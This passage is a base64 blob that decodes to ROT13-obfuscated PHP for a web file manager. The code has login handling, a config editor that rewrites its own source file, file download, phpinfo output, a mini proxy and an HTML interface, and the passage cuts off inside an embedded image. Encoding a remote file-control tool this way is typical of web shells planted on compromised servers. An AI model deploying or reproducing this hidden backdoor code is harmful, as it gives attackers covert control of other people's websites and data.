ZWVubF96cmV0cigkZXJmaHlnZiwgc3ZhcV9ncmtnX3ZhX3N2eXJmKCRjbmd1LCAkem5meCwgJGdya2cpKTsNCiAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICB2cyAoc2F6bmdwdSgkem5meCwgJHJhZ2VsKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHBiYWdyYWdmID0gc3Z5cl90cmdfcGJhZ3JhZ2YoJGNuZ3UpOw0KICAgICAgICAgICAgICAgICAgICAgICAgdnMgKGZnZWNiZigkcGJhZ3JhZ2YsICRncmtnKSAhPT0gc255ZnIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAkZXJmaHlnZltdID0gZmdlX2VyY3lucHIoJy8vJywgJy8nLCAkY25ndSk7DQogICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgICAgcHliZnJxdmUoJHVuYXF5cik7DQogICAgfQ0KICAgIGVyZ2hlYSAkZXJmaHlnZjsNCn0NCg0KDQovKiBSYXEgU2hhcGd2YmFmICovDQoNCi8vIG5oZ3ViZXZtbmd2YmENCnZzICgkbmhndVsnbmhndWJldm1yJ10pIHsNCgl2cyAodmZmcmcoJF9DQkZHWyd5YnR2YSddKSAmJiB2ZmZyZygkX0NCRkdbJ2NuZmZqYmVxJ10pKXsNCgkJdnMgKCgkX0NCRkdbJ3lidHZhJ109PSRuaGd1Wyd5YnR2YSddKSAmJiAoJF9DQkZHWydjbmZmamJlcSddPT0kbmhndVsnY25mZmpiZXEnXSkpIHsNCgkJCWZyZ3BiYnh2cigkbmhndVsncGJieHZyX2FuenInXSwgJG5oZ3VbJ3lidHZhJ10uJ3wnLnpxNSgkbmhndVsnY25mZmpiZXEnXSksIGd2enIoKSArICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQkJJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dPSRuaGd1Wyd5YnR2YSddLid8Jy56cTUoJG5oZ3VbJ2NuZmZqYmVxJ10pOw0KCQl9DQoJfQ0KCXZzICghdmZmcmcoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dKSBCRSAoJF9QQkJYVlJbJG5oZ3VbJ3BiYnh2cl9hbnpyJ11dIT0kbmhndVsneWJ0dmEnXS4nfCcuenE1KCRuaGd1WydjbmZmamJlcSddKSkpIHsNCgkJcnB1YiAnDQo8IXFicGdsY3IgdWd6eT4NCjx1Z3p5Pg0KPHVybnE+DQo8enJnbiBwdW5lZnJnPSJoZ3MtOCIgLz4NCjx6cmduIGFuenI9Iml2cmpjYmVnIiBwYmFncmFnPSJqdnFndT1xcml2cHItanZxZ3UsIHZhdmd2bnktZnBueXI9MSIgLz4NCjxndmd5cj4nLl9fKCdTdnlyIHpuYW50cmVrJykuJzwvZ3ZneXI+DQo8L3VybnE+DQo8b2JxbD4NCjxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9ImNiZmciPg0KJy5fXygnWWJ0dmEnKS4nIDx2YWNoZyBhbnpyPSJ5YnR2YSIgZ2xjcj0iZ3JrZyI+JmFvZmM7JmFvZmM7JmFvZmM7DQonLl9fKCdDbmZmamJlcScpLicgPHZhY2hnIGFuenI9ImNuZmZqYmVxIiBnbGNyPSJjbmZmamJlcSI+JmFvZmM7JmFvZmM7JmFvZmM7DQo8dmFjaGcgZ2xjcj0iZmhvenZnIiBpbnlocj0iJy5fXygnUmFncmUnKS4nIiBweW5mZj0ic3pfdmFjaGciPg0KPC9zYmV6Pg0KJy5zel95bmF0X3NiZXooJHluYXRobnRyKS4nDQo8L29icWw+DQo8L3Vnenk+DQonOyAgDQpxdnIoKTsNCgl9DQoJdnMgKHZmZnJnKCRfQ0JGR1snZGh2ZyddKSkgew0KCQloYWZyZygkX1BCQlhWUlskbmhndVsncGJieHZyX2FuenInXV0pOw0KCQlmcmdwYmJ4dnIoJG5oZ3VbJ3BiYnh2cl9hbnpyJ10sICcnLCBndnpyKCkgLSAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJdXJucXJlKCdZYnBuZ3ZiYTogJy5zel9mdmdyX2hleSgpLiRfRlJFSVJFWydFUkRIUkZHX0hFViddKTsNCgl9DQp9DQoNCi8vIFB1bmF0ciBwYmFzdnQNCnZzICh2ZmZyZygkX1RSR1snc3pfZnJnZ3ZhdGYnXSkpIHsNCgl2cyAodmZmcmcoJF9UUkdbJ3N6X3BiYXN2dF9xcnlyZ3InXSkpIHsgDQoJCWhhZnJnKCRfUEJCWFZSWydzel9wYmFzdnQnXSk7DQoJCWZyZ3BiYnh2cignc3pfcGJhc3Z0JywgJycsIGd2enIoKSAtICg4NjQwMCAqICRuaGd1WydxbmxmX25oZ3ViZXZtbmd2YmEnXSkpOw0KCQl1cm5xcmUoJ1licG5ndmJhOiAnLnN6X2hleSgpLic/c3pfZnJnZ3ZhdGY9Z2VocicpOw0KCQlya3ZnKDApOw0KCX0JcnlmcnZzICh2ZmZyZygkX0NCRkdbJ3N6X3BiYXN2dCddKSkgeyANCgkJJHN6X3BiYXN2dCA9ICRfQ0JGR1snc3pfcGJhc3Z0J107DQoJCWZyZ3BiYnh2cignc3pfcGJhc3Z0JywgZnJldm55dm1yKCRzel9wYmFzdnQpLCBndnpyKCkgKyAoODY0MDAgKiAkbmhndVsncW5sZl9uaGd1YmV2bW5ndmJhJ10pKTsNCgkJJF9QQkJYVlJbJ3N6X3BiYXN2dCddID0gZnJldm55dm1yKCRzel9wYmFzdnQpOw0KCQkkemZ0ID0gX18oJ0ZyZ2d2YXRmJykuJyAnLl9fKCdxYmFyJyk7DQoJfQlyeWZydnMgKHZmZnJnKCRfQ0JGR1snc3pfeWJ0dmEnXSkpIHsgDQoJCXZzIChyemNnbCgkX0NCRkdbJ3N6X3lidHZhJ11bJ25oZ3ViZXZtciddKSkgJF9DQkZHWydzel95YnR2YSddID0gbmVlbmwoJ25oZ3ViZXZtcicgPT4gJzAnKSArICRfQ0JGR1snc3pfeWJ0dmEnXTsNCgkJJHN6X3lidHZhID0gd2ZiYV9yYXBicXIoJF9DQkZHWydzel95YnR2YSddKTsNCgkJJHN0cCA9IHN2eXJfdHJnX3BiYWdyYWdmKF9fU1ZZUl9fKTsNCgkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyNuaGd1YmV2bW5ndmJhW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsNCgkJdnMgKCFyemNnbCgkem5ncHVyZlsxXSkpIHsNCgkJCSRzdnlyemd2enIgPSBzdnlyemd2enIoX19TVllSX18pOw0KCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJHN6X3lidHZhLCRzdHApOw0KCQkJdnMgKHN2eXJfY2hnX3BiYWdyYWdmKF9fU1ZZUl9fLCAkZXJjeW5wcikpIHsNCgkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCQl2cyAoJF9DQkZHWydzel95YnR2YSddWyd5YnR2YSddICE9ICRuaGd1Wyd5YnR2YSddKSAkemZ0IC49ICcgJy5fXygnWWJ0dmEnKS4nOiAnLiRfQ0JGR1snc3pfeWJ0dmEnXVsneWJ0dmEnXTsNCgkJCQl2cyAoJF9DQkZHWydzel95YnR2YSddWydjbmZmamJlcSddICE9ICRuaGd1WydjbmZmamJlcSddKSAkemZ0IC49ICcgJy5fXygnQ25mZmpiZXEnKS4nOiAnLiRfQ0JGR1snc3pfeWJ0dmEnXVsnY25mZmpiZXEnXTsNCgkJCQkkbmhndSA9ICRfQ0JGR1snc3pfeWJ0dmEnXTsNCgkJCX0NCgkJCXJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJCXZzICghcnpjZ2woJHN6X3BiYXN2dFsnc3pfZXJmZ2Jlcl9ndnpyJ10pKSBnYmhwdShfX1NWWVJfXywkc3Z5cnpndnpyKTsNCgkJfQ0KCX0gcnlmcnZzICh2ZmZyZygkX0NCRkdbJ2djeV9ycXZncnEnXSkpIHsgDQoJCSR5YXRfZ2N5ID0gJF9DQkZHWydnY3lfcnF2Z3JxJ107DQoJCXZzICghcnpjZ2woJF9DQkZHWyR5YXRfZ2N5LidfYW56ciddKSkgew0KCQkJJHN6X2N1YyA9IHdmYmFfcmFwYnFyKG5lZW5sX3Biem92YXIoJF9DQkZHWyR5YXRfZ2N5LidfYW56ciddLCRfQ0JGR1skeWF0X2djeS4nX2lueWhyJ10pLFdGQkFfVVJLX05DQkYpOw0KCQl9IHJ5ZnJ2cyAoIXJ6Y2dsKCRfQ0JGR1skeWF0X2djeS4nX2Fyal9hbnpyJ10pKSB7DQoJCQkkc3pfY3VjID0gd2ZiYV9yYXBicXIod2ZiYV9xcnBicXIoJHskeWF0X2djeS4nX2dyemN5bmdyZid9LGdlaHIpK25lZW5sKCRfQ0JGR1skeWF0X2djeS4nX2Fyal9hbnpyJ109PiRfQ0JGR1skeWF0X2djeS4nX2Fyal9pbnlociddKSxXRkJBX1VSS19OQ0JGKTsNCgkJfQ0KCQl2cyAoIXJ6Y2dsKCRzel9jdWMpKSB7DQoJCQkkc3RwID0gc3Z5cl90cmdfcGJhZ3JhZ2YoX19TVllSX18pOw0KCQkJJGZybmVwdSA9IGNlcnRfem5ncHUoJyMnLiR5YXRfZ2N5LidfZ3J6Y3luZ3JmW1xmXT9cPVtcZl0/XCdce1wiKC4qPylcIlx9XCc7IycsICRzdHAsICR6bmdwdXJmKTsNCgkJCXZzICghcnpjZ2woJHpuZ3B1cmZbMV0pKSB7DQoJCQkJJHN2eXJ6Z3Z6ciA9IHN2eXJ6Z3Z6cihfX1NWWVJfXyk7DQoJCQkJJGVyY3lucHIgPSBmZ2VfZXJjeW5wcigneyInLiR6bmdwdXJmWzFdLicifScsJHN6X2N1Yywkc3RwKTsNCgkJCQl2cyAoc3Z5cl9jaGdfcGJhZ3JhZ2YoX19TVllSX18sICRlcmN5bnByKSkgew0KCQkJCQkkeyR5YXRfZ2N5LidfZ3J6Y3luZ3JmJ30gPSAkc3pfY3VjOw0KCQkJCQkkemZ0IC49IF9fKCdTdnlyIGhjcW5ncnEnKTsNCgkJCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgkJCQl2cyAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3N6X2VyZmdiZXJfZ3Z6ciddKSkgZ2JocHUoX19TVllSX18sJHN2eXJ6Z3Z6cik7DQoJCQl9CQ0KCQl9IHJ5ZnIgJHpmdCAuPSBfXygnUmVlYmUgYnBwaGVlcnEnKTsNCgl9DQp9DQoNCi8vIFdoZmcgZnViaiB2em50cg0KdnMgKHZmZnJnKCRfVFJHWyd2enQnXSkpIHsNCgkkc3Z5cj1vbmZyNjRfcXJwYnFyKCRfVFJHWyd2enQnXSk7DQoJdnMgKCR2YXNiPXRyZ3Z6bnRyZnZtcigkc3Z5cikpew0KCQlmanZncHUgICgkdmFzYlsyXSl7CS8vMT1UVlMsIDI9V0NULCAzPUNBVCwgND1GSlMsIDU9Q0ZRLCA2PU9aQw0KCQkJcG5mciAxOiAkcmtnPSd0dnMnOyBvZXJueDsNCgkJCXBuZnIgMjogJHJrZz0nd2NydCc7IG9lcm54Ow0KCQkJcG5mciAzOiAkcmtnPSdjYXQnOyBvZXJueDsNCgkJCXBuZnIgNjogJHJrZz0nb3pjJzsgb2Vybng7DQoJCQlxcnNuaHlnOiBxdnIoKTsNCgkJfQ0KCQl1cm5xcmUoIlBiYWdyYWctZ2xjcjogdnpudHIvJHJrZyIpOw0KCQlycHViIHN2eXJfdHJnX3BiYWdyYWdmKCRzdnlyKTsNCgkJcXZyKCk7DQoJfQ0KfQ0KDQovLyBXaGZnIHFiamF5Ym5xIHN2eXINCnZzICh2ZmZyZygkX1RSR1sncWJqYXlibnEnXSkpIHsNCgkkc3Z5cj1vbmZyNjRfcXJwYnFyKCRfVFJHWydxYmpheWJucSddKTsNCglzel9xYmpheWJucSgkc3Z5cik7CQ0KfQ0KDQovLyBXaGZnIGZ1YmogdmFzYg0KdnMgKHZmZnJnKCRfVFJHWydjdWN2YXNiJ10pKSB7DQoJY3VjdmFzYigpOyANCglxdnIoKTsNCn0NCg0KLy8gWnZhdiBjZWJrbCwgem5hbCBvaHRmIQ0KdnMgKHZmZnJnKCRfVFJHWydjZWJrbCddKSAmJiAoIXJ6Y2dsKCRzel9wYmFzdnRbJ3Jhbm95cl9jZWJrbCddKSkpIHsNCgkkaGV5ID0gdmZmcmcoJF9UUkdbJ2hleSddKT9oZXlxcnBicXIoJF9UUkdbJ2hleSddKTonJzsNCgkkY2Via2xfc2JleiA9ICcNCjxxdmkgZmdseXI9ImNiZnZndmJhOmVyeW5ndmlyO20tdmFxcms6MTAwNTAwO29ucHh0ZWJoYXE6IHl2YXJuZS10ZW5xdnJhZyhnYiBvYmdnYnosICNyNHM1c3AgMCUsI29zcjhzOSA1MCUsIzlzcThycyA1MSUsIzJubzBycSAxMDAlKTsiPg0KCTxzYmV6IG5wZ3ZiYT0iIiB6cmd1YnE9IlRSRyI+DQoJPHZhY2hnIGdsY3I9InV2cXFyYSIgYW56cj0iY2Via2wiIGlueWhyPSJnZWhyIj4NCgknLnN6X3VienIoKS4nIDxuIHVlcnM9IicuJGhleS4nIiBnbmV0cmc9Il9veW5heCI+SGV5PC9uPjogPHZhY2hnIGdsY3I9Imdya2ciIGFuenI9ImhleSIgaW55aHI9IicuJGhleS4nIiBmdm1yPSI1NSI+DQoJPHZhY2hnIGdsY3I9ImZob3p2ZyIgaW55aHI9IicuX18oJ0Z1YmonKS4nIiBweW5mZj0ic3pfdmFjaGciPg0KCTwvc2Jlej4NCjwvcXZpPg0KJzsNCgl2cyAoJGhleSkgew0KCQkkcHUgPSBwaGV5X3ZhdmcoJGhleSk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19IRlJFTlRSQUcsICdRcmExa2trIGdyZmcgY2Via2wnKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX1NCWVlCSllCUE5HVkJBLCAxKTsNCgkJcGhleV9mcmdiY2coJHB1LCBQSEVZQkNHX0ZGWV9JUkVWU0xVQkZHLDApOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRkZZX0lSRVZTTENSUkUsMCk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19VUk5RUkUsIDApOw0KCQlwaGV5X2ZyZ2JjZygkcHUsIFBIRVlCQ0dfRVJTUkVSRSwgJGhleSk7DQoJCXBoZXlfZnJnYmNnKCRwdSwgUEhFWUJDR19FUkdIRUFHRU5BRlNSRSxnZWhyKTsNCgkJJGVyZmh5ZyA9IHBoZXlfcmtycCgkcHUpOw0KCQlwaGV5X3B5YmZyKCRwdSk7DQoJCS8vJGVyZmh5ZyA9IGNlcnRfZXJjeW5wcignIyhmZXApPVsiXCddW3VnZ2M6Ly9dPyhbXjpdKilbIlwnXSNIdicsICdcXDE9IicuJGhleS4nL1xcMiInLCAkZXJmaHlnKTsNCgkJJGVyZmh5ZyA9IGNlcnRfZXJjeW5wcl9wbnl5b25weCgnIyh1ZXJzfGZlcCk9WyJcJ11bdWdnYzovL10/KFteOl0qKVsiXCddI0h2JywgJ3N6X2hleV9jZWJrbCcsICRlcmZoeWcpOw0KCQkkZXJmaHlnID0gY2VydF9lcmN5bnByKCclKDxvYnFsLio/PikldicsICckMScuJzxmZ2x5cj4nLnN6X3VienJfZmdseXIoKS4nPC9mZ2x5cj4nLiRjZWJrbF9zYmV6LCAkZXJmaHlnKTsNCgkJcnB1YiAkZXJmaHlnOw0KCQlxdnIoKTsNCgl9IA0KfQ0KPz4NCjwhcWJwZ2xjciB1Z3p5Pg0KPHVnenk+DQo8dXJucT4gICAgIA0KCTx6cmduIHB1bmVmcmc9Imhncy04IiAvPg0KCTx6cmduIGFuenI9Iml2cmpjYmVnIiBwYmFncmFnPSJqdnFndT1xcml2cHItanZxZ3UsIHZhdmd2bnktZnBueXI9MSIgLz4NCiAgICA8Z3ZneXI+PD89X18oJ1N2eXIgem5hbnRyZScpPz48L2d2Z3lyPg0KPGZnbHlyPg0Kb2JxbCB7DQoJb25weHRlYmhhcS1wYnliZToJanV2Z3I7DQoJc2JhZy1zbnp2eWw6CQlJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOw0KCXNiYWctZnZtcjoJCQk4Y2c7DQoJem5ldHZhOgkJCQkwY2s7DQp9DQoNCm46eXZheCwgbjpucGd2aXIsIG46aXZmdmdycSB7IHBieWJlOiAjMDA2Njk5OyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0NCm46dWJpcmUgeyBwYnliZTogI1FRNjkwMDsgZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7IH0NCm4uZ3U6eXZheCB7IHBieWJlOiAjU1NOMzRTOyBncmtnLXFycGJlbmd2YmE6IGFiYXI7IH0NCm4uZ3U6bnBndmlyIHsgcGJ5YmU6ICNTU04zNFM7IGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgfQ0Kbi5ndTppdmZ2Z3JxIHsgcGJ5YmU6ICNTU04zNFM7IGdya2ctcXJwYmVuZ3ZiYTogYWJhcjsgfQ0Kbi5ndTp1YmlyZSB7ICBwYnliZTogI1NTTjM0UzsgZ3JrZy1xcnBiZW5ndmJhOiBoYXFyZXl2YXI7IH0NCg0KZ25veXIub3Qgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6ICNOUE9PUDYNCn0NCg0KZ3UsIGdxIHsgDQoJc2JhZzoJYWJlem55IDhjZyBJcmVxbmFuLCBOZXZueSwgVXJ5aXJndnBuLCBmbmFmLWZyZXZzOw0KCWNucXF2YXQ6IDNjazsNCn0NCg0KZ3UJew0KCXVydnR1ZzoJCQkJMjVjazsNCglvbnB4dGViaGFxLXBieWJlOgkjMDA2Njk5Ow0KCXBieWJlOgkJCQkjU1NOMzRTOw0KCXNiYWctanJ2dHVnOgkJb2J5cTsNCglzYmFnLWZ2bXI6CQkJMTFjazsNCn0NCg0KLmViajEgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSNSU1JTUlM7DQp9DQoNCi5lYmoyIHsNCglvbnB4dGViaGFxLXBieWJlOgkjUVJSM1I3Ow0KfQ0KDQouZWJqMyB7DQoJb25weHRlYmhhcS1wYnliZToJI1ExUTdRUDsNCgljbnFxdmF0OiA1Y2s7DQp9DQoNCmdlLmViajE6dWJpcmUgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSNTM1NQU1A7DQp9DQoNCmdlLmViajI6dWJpcmUgew0KCW9ucHh0ZWJoYXEtcGJ5YmU6CSNTMFM2UzY7DQp9DQoNCi5qdWJ5ciB7DQoJanZxZ3U6IDEwMCU7DQp9DQoNCi5ueXkgZ29icWwgZ3E6c3ZlZmctcHV2eXF7anZxZ3U6MTAwJTt9DQoNCmdya2duZXJuIHsNCglzYmFnOiA5Y2cgJ1BiaGV2cmUgQXJqJywgcGJoZXZyZTsNCgl5dmFyLXVydnR1ZzogMTI1JTsNCgljbnFxdmF0OiA1Y2s7DQp9DQoNCi5ncmtnbmVybl92YWNoZyB7DQoJdXJ2dHVnOiAxcno7DQp9DQoNCi5ncmtnbmVybl92YWNoZzpzYnBoZiB7DQoJdXJ2dHVnOiBuaGdiOw0KfQ0KDQp2YWNoZ1tnbGNyPWZob3p2Z117DQoJb25weHRlYmhhcTogI1NQU1BTUCBhYmFyICF2emNiZWduYWc7DQoJcGhlZmJlOiBjYnZhZ3JlOw0KfQ0KDQouc2J5cXJlIHsNCiAgICBvbnB4dGViaGFxLXZ6bnRyOiBoZXkoInFuZ246dnpudHIvY2F0O29uZnI2NCx2SU9CRWowWFR0Yk5OTk5BRkh1Ukh0Tk5OT05OTk5ORFBOTE5OTk5zOC85dU5OTlhHMnlRRDFPRG5UOTBvM0FibzNOdEZIQVFWVU9sbzJNY29USE5OVXduYUlBYUlTQ2NTdzMzM2lFUEY0dk55UmdpSHVIVlZTV1B2NE5IeEZMZFZEeERGYnR1YnF4SUhwUkVFSEhSVDh2dHZOQkJ3YlBaU0lSZlFWYlgyTnN4Vm5YQnQ2QlZ2ZmU3NEtod245bjg5K29BL2VLS0NocmY4NTJtbWpzTlBObEpGUUFFQUxOWmRIVnJSclBRazhHVDRyRGhEVlJYV1VOTlJOdm1NUFNtL0ZaT05DdStDUWplVmZOVWl0Tk9yQVpZUE5RTkdNaU5aT2xVL2ovZERjeXBOTFBSTnBPMHhHdVlQVk5ITlJPNnd4WHpOUk9UTkxQcXpQTUdOWE5STlRRWUwyWXdOU05nTlROYXMrb0dOVlBxK1d5N05ET295UFJJTm5QRU5QTkdNTHVSTlR0N05YbUNJYmNTTlN0ak5PRXpGOEQ1TkF0Z05RT1dJMk1WTllQM05aUUJSTmhsTk50Wk5RT0V2VkhjTk5FN05UUVZWbEE0TlZGTU5PRVQ4eXA4OEZoaFJCcGROTk80em9WOGhGRDVFTFNvUFAxa08xcUtZdTRibXh4S1hrRDJMRFd1enhOaGphek1UR1hPQU4vdDg4ak5OWFBFU0VVdHQvQzlyWjRCZWY3QkFiNjJReThnNmU4VC9sV3ZMaEMrNXArZXBSTk5OQlMwc2dVK1lQK21UYk43T2JPZy9kVnk3dEViS3RodHFzcllNZVZDRFlITmJCYW5JL0FqK1U0OENSSnV4WWFNMnJLeDVBdVhrUldvTHBjS3NzNWFqeS9OSS8xZitLNDgvQ3MxNFk3dldWUmxLTFNVT0N3dGpmbTBHWEhwbTVWV3VUWXA1YjlVL1lwWS8vanEwbFlSRkpYNUpQYkg0MVJGcEw1UnpibW1aZEh2dkhYRlhwSHkwaTl4NGc4ZitqWiszbUhOZlRiK05LaEVZbnVxTGpDMkZscERKVUdONGlwTk5DWDdvOFVIWE50UXRUdlE0cDkzLys4Ly9IcnRXRFBOTXh6RnBETk5LeER4WXlHWGZtL1VQTk5ORVhQT1hlT09UL0dPVFBtTk91bU9PcW1PUC9rdEFiRVBXWkdQRHVPUFB6Rk5VVVd0WG5sUER2dlRtb05xWHpOaTFSTnFBWk9FblZuR3BONGhqeUo0UXcxalEvY3VQVzdPWFlsT1BERU9sTnRHTEZVbnZOU3Z2eXR3d3R0S3pMSzRWcFNWT09YWVdQUVd2T0VFVnhoRUFIdGtIYmNIVlNJVlVzVjlwdFY1dTFrVGhjUjdsTk5sdGlsVGlScGt5VlRsSEczSFFZSVFobnQzVGJFVGJ0aURNVURremI4SmJXaURwZURuQ0xqMmJyc0RkMnRDMmI4K0Q4cGpqQnRMT21DUm9RTmhrZkFQZkd0ZlBNQXdsN1J2ZU5sZWt1ZGpJZGpRaDRhMUw4K2txakRGdEhLTlBHTFJxMFZ0TEU1T0ZTdVpKUjdMRlh0dFVQRDBScWJXQWp4UXVTVVBXbFhHZFJoMFdlYkUrcERMTHdWa3UxdVZZUENKUmI4R1lrTzd2UkNSQWxERnZIWmxXN3pETnh6a2NTR0ZSZ1dUMHo1RlYreGZkTWYwRk9id3g4YW5NVGhsT216SFlQTmVsVkt4YXJHUTVRQ3hUK0R1OHlmWGFKV05wbkc0SCtWYkhmY2RGdWF5UkJIMDVETXl6UVdPSW5CbkhnMmJiSURFQUw5bkRkMnVneVhpSExyYlJtRTF6d2FBdGtNV0Y2SmdiY0tHVHp0S25DcWNlK3UwaHVVcXlFNUJ5OU9LMGZpY0Urdks2TkMwcWpqQXV1SlFrNHVhWE96b1ROcExNa3kzVFgrTEdYTE0wNGZNazFEakFtVWV6QnJNUTV5aUlJdGRndmM4U01VWFBjSVh5Rm5JVGxiaUlYemRjZGVyZHRnSTgxS1lJVitjS3lBOWV4TUlaMUN3ZERhSHlkZ0lkYzFENjFab0gycmNCNnZVZHpyYm8xRC9jVTVNL0x4VEpwQVpqMDlRY1NUdGZJL3dpWkx0UDJaTWYzdGZWSmZBZDRNMXRHS1JXZVVBMktrMlhlaEwvRTI3dm0yZGRuUjVEbUFYWjFybUhpQkhNdzhVNDV1aytXazBHdGFhWFhySzgzNlgzdUdpWHJWY1Q2TDBHWXhrTUlrZWRjbkt5eXZlRlhnRWQwc2VpR25oN25ycWNlMVNoMWE3dEQ1T2swYmFLUHFVTTQvQk9NM2FIOXlHM25wWGNrTUFDR2UxZXY2ZG42SG9ib2dScTc5aGMrNkxhZTVydFc1Wm82c3JybzNhK3VrOVkvMUgvSjM2Yy9JVVFTdFRmamp4T2dmWm11dDhrR0lrb21qcVk4c284SVNRS3BBTkQ2SXV5SlRLNExGRWhxUjhiOUlUd0hMQ3dUYVRLQlp4NDIzVG9wbndXdEx6VkZNWUdyY0E3Y2NGR296elhuTDdHUWdaazgzWm1uWUExY3gxem0wazFtWWF6K3JvMTVpc2cyT25yU2JmZ2R2MmhUSVdmaEVuY3lhaGdla2h1SWI1Sm5JTElJY3FmMG5nYW4weTFlaGdoNnBFYzd5QngwNmVhZ01hajdRa2dmejJkb3BNZkJLTE9naGhnejIyc0pTYUx1cWFnOEpoais2R2lNQTloYTJBL0cwVVFMc01RZGZxSnUxK3A3RWxTUWNKQmc2bm1jbWhDMzNTOVdvY1kycUxta1FDMlFDd2d1Q1lYcEVjYUlCbzAwcWFTMnI1cDRDbXZWaFdGNFlZWWNwK1ljZm9rZzNWaXJFWHFDSWtLclM2MGlKcXo3Qm9qaDJiMjYvaEFoNWM3YnNwYThqMGFsenJKR0FtMFpDVkQrT0U1cVIvUDUrSVpUaXNlVTVDRDArT003S2FWbDl3WTVTS2VxcmpnNkkzZGlxdTdrcCs5dzVsYStaKzRtajMzd1lySkkvWkE4UDNsWXNZRzhBaWF5K1MzMEEvVi85eC8zZS8wRFBhdFBIT01qQld0SFRPSmpZNytVYzhWbytCQ21lb01zbmwycjFPd1hQNURFSU93NFhndGhLT2VGU2JsQmxEZUZVMzU1d0J4cDVjUWJJRHNod0owTnF1NXpUWWozNFpXNEpVdUlyVEM0NWp2U3RuMEdUS0FLc0UzUkFtMzBHNkVXTVIzY2dhWkg4NWVsMVhBRmIrZHY1ZENBYjNod0Y2QzhMaE15YVoxSXZxSlJ5ZkZrajVZdmRoQXo1ZmlnLzg3c0JVNGMzdlArQTdTNXRpbFMxanJuVUJqaUZTY2tuY1l1VmZCY01OR1Z1QkJXR2pERU5kZE9uWldzVkdxbEpCUGFhUFVwV2FWdi9FQWdUVjJSQXBYdTVCOHh0ZEdLZEY3V1Q4QUt4eGtHQnlZQko1dVByY3hZa1pRSG1xem1kclNjYzJWVDBsQ0dkOVpMQkZ4TU9rRGRidUdNQjJNK2NhNXpNMmw2a3l1b1kra0o2WWdsOHJ5RHNXbjdCRGVOSU1ZRGQyRGRvYklTYmIxbGJVZnpxeUkybi9tTGFYQk1uZWF2aUE3cGxtbGdoREE1bWlhLy9nUmZWRjRNWDJjTE1ZSWwwcUpCbjllVGI1Zndra3JxZlg0a0hTWDRNSk9kajhoVmQyWHozSUc2aWdJNXJoc2UwenJ4MWV0STdPbGJZT2dEU2U2amdJUGhKU3NyaXAxKzFxRzF0aUpxKzFMc2RUYUVmK1NMelhldUdvUzVwSXM5dGIzVXd5VDRxaWxlK00zV0YwZG5pUmhKR0NNZ1d6NnJvcllNNW9RY25keStuS1F6NEEycWQwUXE5SmdCMzE5eEtvWTVzQVhBaDd0N01RaG5CL0NZdjhNbnNXbWYwN0MxRnhJQ0VIK3lEMjdnWXFnSlVLK1Q3RTd1ZzdpQ0wwN0FLb0o3bTMvRzdXaWdnSU5JSUExSm9JTXNnVys3QzNDNjZXZGhhNHlpZ2dLbjFCb0tVZ2tqQ0ZOLzBVVmo2MjE3YUgxRTNGQ0lFRnc5TGU2MHBCa2srKy9jM2lxbDBBQXQxSXdNbVQ0dkFqRVVheDZzcFczL3ByUUdlbnFiazdlQlJVMGs5MlVKcHFZMmNQemlYbkVjZ0d6aWdvTHloNkc4aiswcW9kM2FlOEU5ZnNRNWowQ1N5NUZpQUhsSmFuNkxZR3gyc2xtNGxxeU0xOXN2NzUzVFFvYmVNNzUyQ0IzMmJDbysrNlJVR3UweEsvditwN2lRaUJLQ1g0cUNYbDIrSEdJN3VLemQ4NksyM2RxQmI4L2NDR0c4cjdhWWhuZWV5cG43YWhyZTIxcjJvMzZFaHJBODdxOVkxNThFby8xZ0pyQkczcWlzQTZvL3NTOS9Lc1NnMStwdnM5bWZoNzJLcGE3ZDI4RzdrczlSUWdEcXlRM0xzSUMxaSszQXdpM1U5ZGpVcnQ4OVVwRS9wVHVMQ0MvY1Uxd2o5UU9MK013OGhUUUxvZWF3dCtCR2F2QzNZOTZzbGFEODl4bWxuclMvNnYvZmhoU2tMaXNpd0k2OXNCME13RWJNc2x5NUIvb0tseS9yZU42a3ppMjhvUGt1NitsS3RtWkk3MElpaWdqS3NwcWszaWI5OENHK0U4VlU4Yi8ydzVmc0lHMFhzN3hrekd4LzhSTjV3bS9UWm1ZcWZOTk5OVEx4Z1VFTlEvTkM4Ti82UDljNVpOTk5OV3BSdU1wak5OUGtaTk5OZkdORFBuYU90Tk5OTlVxUnlBRURzcFBOalRadXlyVE5YQk5OTk9sUnlSRElENGw4SkdHMmZIREVRU3M5S0daK0NUVk9VcVJSREU4ck5zdHRuQ1VpR2hsSCt2K04zOE5TNDhyc1dvWE81bVIwVlpOSXBQdkV1RFI4dHp6MTExZjl6TTNNeStVem5sNWROTDhUT1F